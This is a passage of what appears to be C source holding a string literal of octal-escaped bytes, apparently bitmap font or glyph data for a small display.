\"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\30<<\\30\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\376\\376\\376\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\360\\20\\0\\0\\0\\0\\0\\340\\370\\374\\16\\6\\3\\3\\373\\377\\17\\3\"\n  \"\\7\\16\\14\\0\\0\\7\\37\\77x`\\340\\374\\377\\307\\300\\340`p \\0\\0\\0\\0\\0\\0\\0\\14\\17\\3\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\340p\\60\\60\\60\\60p`\\0\\0\\0\\0\\60\\66\\377\\377\\360\\60\\60\\60\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\200\\300\\340\\177\\177o`\\340\\300\\300\\200\\200\\200\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\"\n  \"\\1\\1\\1\\0\\0\\0\\0\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\0\\0\\0\\0\\1\\373\\377\\216\\7\\3\\3\\3\\7\\216\"\n  \"\\377\\373\\1\\0\\0\\0\\4\\16\\7\\3\\7\\6\\6\\6\\7\\3\\7\\16\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\60\\360\\340\\300\\0\\0\\0\\0\\0\\0\\200\\340\\360\\60\\0\\0\\0\\0\\1\\7\\37<\\370\\340\\370>\\17\"\n  \"\\3\\0\\0\\0\\0\\0\\63\\63\\63\\63\\63\\377\\377\\377\\63\\63\\63\\63\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\77\\77\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\376\\376\\376\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\37\\37\\37\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\360\\370\\30\\34\\14\\14\\14\\34x\\60\\0\\0\\0\\0\\0\\340\\363\\377\\17\\16\\14\\14\\34\\70\\370\"\n  \"\\360@\\0\\0\\0\\0\\200\\301\\3\\3\\7\\6\\6\\16\\36\\377\\371`\\0\\0\\0\\0\\1\\3\\3\\7\\6\\6\\6\\7\\3\\3\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\20\\70\\70\\20\\0\\0\\70\\70\\70\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\0\\0\\0\\0\\0\\340\\370\\16\\346\\363\\31\\35\\14\\14\\14\\31\\71\"\n  \"#\\6\\14\\370\\7\\37\\70cG\\316\\234\\230\\230\\230\\214\\314dp\\70\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\60\\60\\30\\30\\30\\30\\70\\360\\340\\0\\0\\0\\0\\0\\0\\70~\\306\\302\\303\\303\\303c\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\14\\14\\14\\14\\14\\14\\14\\14\\14\\14\\14\\14\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340p\\70\\20\\200\\300\\340\"\n  \"`\\60\\20\\0\\0\\0\\3\\7\\17\\34\\70p!\\3\\7\\16\\34\\60 \\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0`````````\\340\"\n  \"\\340\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\\17\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0``````````\"\n  \"```\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\0\\0\\0\\0\\0\\340\\370\\16\\6\\3\\375\\375\\204\\204\\204\\315\\371\"\n  \"\\63\\6\\16\\370\\7\\37\\70p@\\337\\237\\200\\200\\201\\207\\334hp\\70\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\60\\60\\60\\60\\60\\60\\60\\60\\60\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\340\\360\\370\\30\\30\\30\\70\\360\\340\\200\\0\\0\\0\\0\\0\\0\\3\\7\\7\\16\\14\\14\\16\\7\\3\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\340\\340\\0\\0\\0\\0\\0\\0\\0\\30\\30\\30\\30\\30\\30\\377\\377\\377\\30\\30\"\n  \"\\30\\30\\30\\0\\0\\300\\300\\300\\300\\300\\300\\307\\307\\307\\300\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0 \\60\\30\\30\\30\\30\\30\\360\\340\\0\\0\\0\\0\\0\\0\\0\\300\\340\\360\\330\\314\\316\\307\\303\"\n  \"\\301\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\60\\60\\30\\30\\30\\30\\30\\360\\340\\0\\0\\0\\0\\0\\0\\0``\\300\\303\\303\\303\\303g\"\n  \"|\\70\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0px\\36\\14\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\376\\376\\376\\0\\0\\0\\0\\0\\0\\376\\376\\376\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\340\\300\\200\\200\\200\\300\\177\\377\\377\\200\\200\\300\\300\\177\\177\\177\\0\\1\\1\\1\\1\\0\\0\\0\\1\"\n  \"\\1\\1\\1\\0\\0\\0\\300\\360\\370\\370\\374\\374\\374\\374\\374\\14\\374\\374\\374\\0\\0\\0\\3\\17\\37\\37\\37\\77\\377\\377\\377\\0\"\n  \"\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\0\"\n  \"\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0`\\360\\360`\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0 `@HNHx\"\n  \"\\70\\0\\0\\0\\0\\0\\0  \\60\\60\\370\\370\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\300\\340p\\30\\30\\30\\30p\\340\\300\\0\\0\\0\\0\\0\\0\\37\\77p\\300\\300\\300\\300p\\77\"\n  \"\\37\\0\\0\\0\\0\\0\\14\\14\\14\\14\\14\\14\\14\\14\\14\\14\\14\\14\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\30\\70p\\340\\300\\200\\30\\30\\60\"\n  \"`\\300\\300\\200\\0\\0\\20\\70\\34\\16\\7\\3\\21\\70\\34\\16\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\20\\10\\10\\374\\374\\0\\0\\0\\0\\0\\0\\300\\360|\\10\\0\\0\\0\\0\\17\\17\\0\\0\\200\\340x\\37\\7\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\200\\340x\\36\\7\\201\\340\\260\\230\\206\\377\\377\\200\\0\\0\\0\\3\\1\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\7\\7\\0\\20\\10\\10\\374\\374\\0\\0\\0\\0\\0\\0\\300\\360<\\10\\0\\0\\0\\0\\17\\17\\0\\0\\200\\340x\\37\\7\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\200\\340x\\36\\7\\1\\14\\4\\6\\202\\302f|\\0\\0\\2\\3\\1\\0\\0\\0\\0\\4\\6\\7\"\n  \"\\5\\4\\4\\4\\4\\14\\6BB\\346\\274\\230\\0\\0\\0\\300\\360<\\14\\0\\6\\6\\14\\14\\14\\14\\7\\303\\360|\\17\\3\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\340x\\36\\7\\201\\340\\260\\230\\206\\377\\377\\200\\0\\0\\0\\3\\1\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\7\\7\\0\\0\\0\\0\\0\\0\\0\\30<<\\30\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\340~>\\16\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0>\\177\\377\\301\\300\\200\\200\\200\\300\\300\\340p \\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\301\\371\\343\\3\\2\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360~\\17\\1\\7\\77\\374\\340\"\n  \"\\0\\0\\0\\0\\200\\360\\376\\37\\7\\6\\6\\6\\6\\6\\7\\17\\77\\374\\340\\200\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\1\\1\\1\\0\\0\\0\\0\\0\\2\\303\\373\\341\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360~\\17\\1\\7\\77\\374\\340\"\n  \"\\0\\0\\0\\0\\200\\360\\376\\37\\7\\6\\6\\6\\6\\6\\7\\17\\77\\374\\340\\200\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\1\\1\\1\\0\\0\\0\\2\\3\\3\\301\\370\\341\\1\\3\\2\\0\\0\\0\\0\\0\\0\\0\\200\\360~\\17\\1\\7\\77\\374\\340\"\n  \"\\0\\0\\0\\0\\200\\360\\376\\37\\7\\6\\6\\6\\6\\6\\7\\17\\77\\374\\340\\200\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\1\\1\\1\\0\\0\\1\\1\\0\\0\\300\\370\\341\\3\\3\\3\\1\\0\\0\\0\\0\\0\\0\\200\\360~\\17\\1\\7\\77\\374\\340\"\n  \"\\0\\0\\0\\0\\200\\360\\376\\37\\7\\6\\6\\6\\6\\6\\7\\17\\77\\374\\340\\200\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\1\\1\\1\\0\\0\\0\\0\\1\\1\\200\\370\\360\\201\\1\\1\\0\\0\\0\\0\\0\\0\\0\\200\\360\\376\\37\\3\\7\\77\\374\\340\"\n  \"\\0\\0\\0\\0\\0\\340\\374\\77\\17\\6\\6\\6\\6\\6\\7\\37\\177\\370\\300\\0\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\1\\1\\0\\0\\0\\0\\0\\3\\207\\374\\364\\207\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\374\\37\\3\\3\\37\\376\\360\\200\"\n  \"\\0\\0\\0\\0\\300\\370\\177\\17\\6\\6\\6\\6\\6\\6\\7\\77\\376\\360\\200\\0\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\1\\1\\0\\0\\0\\0\\0\\0\\300\\360p\\360\\360\\360\\60\\60\\60\\60\\60\\0\\0\\200\\360\\376\\37\\3\\0\\377\\377\\377`\"\n  \"```\\0\\300\\374\\77\\7\\6\\6\\6\\6\\377\\377\\377\\200\\200\\200\\200\\200\\1\\1\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\"\n  \"\\1\\1\\1\\1\\0\\0\\0\\200\\300\\340`p\\60\\60\\60p`\\340\\300\\200\\0\\374\\377\\377\\3\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\1\\1\\1\\0\\7\\37\\77x\\340\\300\\300\\200\\200\\200\\300\\300\\340` \\0\\0\\0\\0\\0\\0aaIOMy\"\n  \"\\70\\0\\0\\0\\0\\360\\360\\360\\61\\61\\63\\63\\63\\66\\62\\60\\60\\60\\0\\0\\0\\377\\377\\377````````\"\n  \"`\\0\\0\\0\\0\\377\\377\\377\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\"\n  \"\\1\\1\\0\\0\\0\\360\\360\\360\\60\\62\\66\\63\\63\\61\\61\\61\\60\\60\\0\\0\\0\\377\\377\\377````````\"\n  \"`\\0\\0\\0\\0\\377\\377\\377\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\"\n  \"\\1\\1\\0\\0\\0\\360\\360\\362\\63\\63\\61\\61\\61\\63\\63\\66\\62\\60\\0\\0\\0\\377\\377\\377````````\"\n  \"`\\0\\0\\0\\0\\377\\377\\377\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\"\n  \"\\1\\1\\0\\0\\0\\360\\360\\361\\61\\60\\60\\60\\60\\61\\61\\61\\60\\60\\0\\0\\0\\377\\377\\377````````\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\"\n  \"\\1\\1\\0\\0\\0\\0\\60\\60\\61\\61\\363\\363\\363\\66\\62\\60\\60\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\377\\377\\377\\200\\200\\200\\200\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\"\n  \"\\1\\0\\0\\0\\0\\0\\30\\30\\30\\31\\371\\371\\371\\30\\30\\30\\30\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\377\\377\\377\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\62\\66\\63\\61\\361\\360\\361\\63\\63\\62\\60\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\377\\377\\377\\200\\200\\200\\200\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\"\n  \"\\1\\0\\0\\0\\0\\0\\60\\60\\61\\61\\360\\360\\360\\61\\61\\61\\60\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\377\\377\\377\\200\\200\\200\\200\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\"\n  \"\\1\\0\\0\\0\\0\\360\\360\\360\\60\\60\\60\\60\\60p\\340\\340\\300\\0\\0\\0`\\377\\377\\377````\\0\\0\\0\\3\"\n  \"\\377\\377\\374\\0\\0\\377\\377\\377\\200\\200\\200\\200\\200\\300\\340x\\77\\37\\3\\0\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\360\\360\\361\\301\\200\\0\\0\\1\\3\\3\\3\\363\\361\\360\\0\\0\\377\\377\\377\\3\\17>x\\340\\300\\0\\0\"\n  \"\\377\\377\\377\\0\\0\\377\\377\\377\\0\\0\\0\\0\\1\\7\\37|\\377\\377\\377\\0\\0\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\1\\1\\0\\0\\200\\340\\340p\\70\\31\\31\\31\\33\\71p\\340\\300\\200\\0\\376\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\1\\377\\377\\370\\3\\17\\37\\70p\\340\\300\\300\\300\\300\\340p<\\37\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\200\\340\\340p\\71\\33\\31\\31\\31\\70p\\340\\300\\200\\0\\376\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\1\\377\\377\\370\\3\\17\\37\\70p\\340\\300\\300\\300\\300\\340p<\\37\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\200\\340\\341s\\71\\30\\30\\30\\30\\71s\\341\\300\\200\\0\\376\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\1\\377\\377\\370\\3\\17\\37\\70p\\340\\300\\300\\300\\300\\340p<\\37\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\301\\340p\\60\\60\\61\\63s\\343\\301\\200\\0\\0\\374\\377\\377\\1\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\3\\377\\377\\360\\7\\37\\77p\\340\\300\\200\\200\\200\\200\\300\\340x\\77\\37\\1\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\301\\341q\\60\\60\\60\\61q\\341\\300\\200\\0\\0\\374\\377\\377\\1\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\3\\377\\377\\360\\7\\37\\77p\\340\\300\\200\\200\\200\\200\\300\\340x\\77\\37\\1\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\2\\7\\17\\236\\370\\360\\360\\370\\234\\16\"\n  \"\\7\\2\\0\\0\\0\\0\\4\\16\\7\\3\\1\\0\\0\\1\\3\\7\\16\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\200\\340\\360p\\70\\30\\30\\30\\30\\270\\360\\370\\374\\214\\4\\376\\377\\377\\0\\0\\0\\300\\360|\\36\\7\\1\"\n  \"\\1\\377\\377\\370\\3\\217\\377\\370|\\357\\303\\300\\300\\300\\340p<\\37\\17\\0\\0\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\360\\360\\360\\1\\1\\1\\3\\3\\6\\2\\0\\360\\360\\360\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\377\\377\\377\\0\\0\\37\\177\\377\\340\\300\\200\\200\\200\\200\\300\\340\\377\\177\\37\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\360\\360\\360\\0\\2\\6\\3\\3\\1\\1\\1\\360\\360\\360\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\377\\377\\377\\0\\0\\37\\177\\377\\340\\300\\200\\200\\200\\200\\300\\340\\377\\177\\37\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\370\\370\\371\\3\\1\\0\\0\\0\\0\\1\\3\\370\\370\\370\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\377\\377\\377\\0\\0\\17\\77\\177p\\340\\300\\300\\300\\300\\340p\\177\\77\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\360\\360\\360\\1\\1\\0\\0\\0\\0\\1\\1\\361\\360\\360\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\377\\377\\377\\0\\0\\37\\177\\377\\340\\300\\200\\200\\200\\200\\300\\340\\377\\177\\37\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\60\\360\\340\\200\\2\\6\\3\\3\\3\\1\\1\\340\\360p\\0\\0\\0\\0\\3\\17>\\370\\360\\300\\360|\\37\"\n  \"\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\360\\360\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\3\\3\\3\\3\\3\\3\\7\\7\"\n  \"\\376\\374\\370\\0\\0\\377\\377\\377\\14\\14\\14\\14\\14\\14\\16\\6\\7\\3\\0\\0\\0\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\360\\370\\70\\34\\14\\14\\14\\34\\70\\360\\340\\200\\0\\0\\0\\377\\377\\377\\0\\0\\0\\60\\60\\70|o\"\n  \"\\347\\301\\200\\0\\0\\377\\377\\377\\0\\0\\300\\200\\200\\200\\200\\300\\341\\177\\77\\14\\0\\1\\1\\1\\0\\0\\1\\1\\1\\1\\1\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\14\\36<p\\0\\0\\0\\0\\0\\0\\0\\0\\0\\14\\14\\216\\206\\206\\206\\206\\216\\214\"\n  